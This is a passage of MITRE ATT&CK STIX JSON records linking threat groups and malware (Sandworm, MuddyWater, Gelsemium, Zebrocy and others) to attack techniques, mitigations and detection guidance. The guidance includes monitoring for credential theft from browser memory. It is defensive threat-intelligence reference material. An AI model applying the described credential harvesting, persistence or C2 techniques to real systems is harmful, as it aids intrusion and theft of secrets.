Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Dragos Crashoverride 2018) ", "modified": "2022-06-30T20:19:13.565Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d90aad5-e0fb-4a8c-862a-71d3db99bae9", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Symantec Security Response Attack Investigation Team. (2018, April 23). Orangeworm: Indicators of Compromise. Retrieved July 8, 2018.", "source_name": "Symantec Orangeworm IOCs April 2018", "url": "https://symantec-enterprise-blogs.security.com/sites/default/files/2018-04/Orangeworm%20IOCs.pdf"}], "modified": "2021-10-26T22:30:52.141Z", "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) has used HTTP for C2.(Citation: Symantec Orangeworm IOCs April 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d90e3ef-1839-4bb8-8205-02e2461b5d55", "type": "relationship", "created": "2020-05-11T22:12:28.676Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye MESSAGETAP October 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."}], "modified": "2020-06-24T01:43:11.334Z", "description": "Once loaded into memory, [MESSAGETAP](https://attack.mitre.org/software/S0443) deletes the keyword_parm.txt and parm.txt configuration files from disk. (Citation: FireEye MESSAGETAP October 2019)", "relationship_type": "uses", "source_ref": "malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1d91840d-b419-4d9f-9bba-8a9f18728854", "created": "2022-07-14T17:33:57.462Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T17:11:48.736Z", "description": "[Amadey](https://attack.mitre.org/software/S1025) has used fast flux DNS for its C2.(Citation: Korean FSI TA505 2020)", "relationship_type": "uses", "source_ref": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d97864c-3e73-48ac-9ddd-83743ee62be6", "type": "relationship", "created": "2021-07-07T02:23:04.236Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "win10_asr", "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", "description": "Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}], "modified": "2021-09-20T17:42:18.754Z", "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. 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Retrieved September 30, 2021."}], "modified": "2021-10-15T18:10:54.289Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) has collected the computer name and OS version from victim machines.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1da6b7d8-12d3-436a-a97d-ae8fbd74c2ac", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor executed commands and arguments for actions that will aid in compression or encrypting data that is collected prior to exfiltration, such as tar. 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Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. 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Retrieved August 9, 2023.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:34:13.632Z", "description": "[Sardonic](https://attack.mitre.org/software/S1085) has the ability to use an RC4 key to encrypt communications to and from actor-controlled C2 servers.(Citation: Bitdefender Sardonic Aug 2021)", "relationship_type": "uses", "source_ref": "malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1de5c5fb-ba73-446b-8596-225cb5bcb611", "type": "relationship", "created": "2020-08-31T15:06:48.148Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. 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(2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}], "modified": "2019-07-17T01:18:33.179Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses <code>netstat -aon</code> to gather network connection information.(Citation: ESET Zebrocy May 2019)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c", "type": "relationship", "created": "2017-05-31T21:33:27.076Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf", "description": "Cymmetria. (2016). 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Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T15:22:47.622Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) can collect the username from a compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. 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(2014, December). Operation Cleaver. Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has used custom tools to facilitate ARP cache poisoning.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.185Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. 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(2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."}], "modified": "2021-04-05T20:52:47.220Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used AES-256 and 3DES for C2 communications.(Citation: Microsoft DUBNIUM July 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1e075dae-a0df-4ab9-a297-fda2248bc254", "type": "relationship", "created": "2021-05-24T15:06:11.250Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}], "modified": "2021-05-24T15:06:11.250Z", "description": "[PS1](https://attack.mitre.org/software/S0613) can inject its payload DLL Into memory.(Citation: BlackBerry CostaRicto November 2020)", "relationship_type": "uses", "source_ref": "malware--13183cdf-280b-46be-913a-5c6df47831e7", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1e0c4d65-a4db-42e0-9eb0-93354ad56d06", "type": "relationship", "created": "2019-06-21T13:56:39.436Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", "description": "Ballenthin, W., et al. (2015). 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Retrieved May 29, 2020."}], "modified": "2020-06-01T13:14:42.559Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use application shimming for persistence if it detects it is running as admin on Windows XP or 7, by creating a shim database to patch services.exe.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1e2a3e72-5d25-47fb-b0ff-e804073cc272", "type": "relationship", "created": "2021-03-19T13:19:57.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. 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(2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can drop itself in `C:\\Windows\\System32\\spool\\prtprocs\\x64\\winprint.dll` as an alternative Print Processor to be loaded automatically when the spoolsv Windows service starts.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T15:44:14.783Z", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1e363612-b503-47b2-b697-daf75ef3740a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. 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Retrieved May 6, 2020."}], "modified": "2020-05-14T20:55:00.175Z", "description": "[Attor](https://attack.mitre.org/software/S0438) has encrypted data symmetrically using a randomly generated Blowfish (OFB) key which is encrypted with a public RSA key.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1e4070de-5bae-4900-a3a8-907190f34dd4", "type": "relationship", "created": "2020-01-28T13:50:22.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-12T13:04:14.395Z", "description": "Use multi-factor authentication for user and privileged accounts.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1e46f5cf-dfaf-4cc6-a685-ee876f371b7e", "created": "2019-06-05T17:31:22.226Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro Ursnif Mar 2015", "description": "Caragay, R. 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Retrieved May 29, 2020."}], "modified": "2020-06-01T14:53:46.663Z", "description": "(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1e809121-085d-419e-a763-c9e2309af074", "type": "relationship", "created": "2019-03-12T16:16:04.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN10 June 2017", "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. 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Retrieved December 14, 2018."}], "modified": "2020-03-19T23:45:03.141Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349).(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1eb94d47-7732-488e-b040-2bff5ab859a7", "type": "relationship", "created": "2020-02-04T12:58:40.964Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-07T20:49:19.002Z", "description": "Do not store credentials within the Registry.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ebc312e-68a4-4119-94c5-79897a5bf5b4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", "description": "Schwarz, D., Sopko J. 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(2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}, {"source_name": "Prevailion EvilNum May 2020", "url": "https://www.prevailion.com/phantom-in-the-command-shell-2/", "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:52.873Z", "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can achieve persistence through the Registry Run key.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)", "relationship_type": "uses", "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ec28c41-586b-42dc-9400-6e6313e38d84", "type": "relationship", "created": "2020-06-29T22:23:14.236Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-14T22:22:00.046Z", "description": "Disable Hyper-V if not necessary within a given environment.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ec3991a-6aa1-422a-a0de-560ca7d143a3", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1ec3f511-0684-4e13-90a0-d8d93a7279b0", "created": "2024-03-05T19:39:33.010Z", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. 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Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-05T19:39:33.010Z", "description": "[WARPWIRE](https://attack.mitre.org/software/S1116) can embed itself into a legitimate file on compromised Ivanti Connect Secure VPNs.(Citation: Mandiant Cutting Edge January 2024)", "relationship_type": "uses", "source_ref": "malware--a5818d36-e9b0-46da-842d-b727a5e36ea6", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ec53623-4050-498b-ba9e-f149d203036c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Emissary Trojan Feb 2016", "description": "Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}], "modified": "2021-08-27T14:42:00.458Z", "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command <code>ipconfig /all</code>.(Citation: Emissary Trojan Feb 2016)", "relationship_type": "uses", "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ec9706f-7faa-466d-afd0-97cc71714f7b", "type": "relationship", "created": "2019-01-30T17:48:35.674Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "modified": "2021-06-16T15:50:05.264Z", "description": "[zwShell](https://attack.mitre.org/software/S0350) has been copied over network shares to move laterally.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ecf4ac9-faad-4d2d-9a01-2618a7a54806", "type": "relationship", "created": "2020-06-19T20:04:12.131Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-19T20:04:12.131Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has deployed tools after moving laterally using administrative accounts.(Citation: Cybereason Cobalt Kitty 2017)\t", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ed17f60-d6ca-4ef7-ae52-7a573c2a7ff3", "type": "relationship", "created": "2020-09-30T14:13:38.320Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. 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Retrieved September 29, 2020."}], "modified": "2020-09-30T14:13:38.320Z", "description": "[SoreFang](https://attack.mitre.org/software/S0516) can enumerate processes on a victim machine through use of [Tasklist](https://attack.mitre.org/software/S0057).(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Regin", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). 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Retrieved April 10, 2023.", "url": "https://slack.com/help/articles/360002084807-View-Access-Logs-for-your-workspace"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T00:25:14.494Z", "description": "Monitor application logs for activity that may highlight malicious attempts to access application data, especially abnormal search activity targeting passwords and other artifacts related to credentials.(Citation: Slack Help Center Access Logs)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1eeb08cb-8b06-45a7-bf74-fb8bdaa4b02f", "type": "relationship", "created": "2019-01-31T01:07:58.592Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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(2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}], "modified": "2020-12-03T20:21:23.754Z", "description": "[Carbon](https://attack.mitre.org/software/S0335) can use 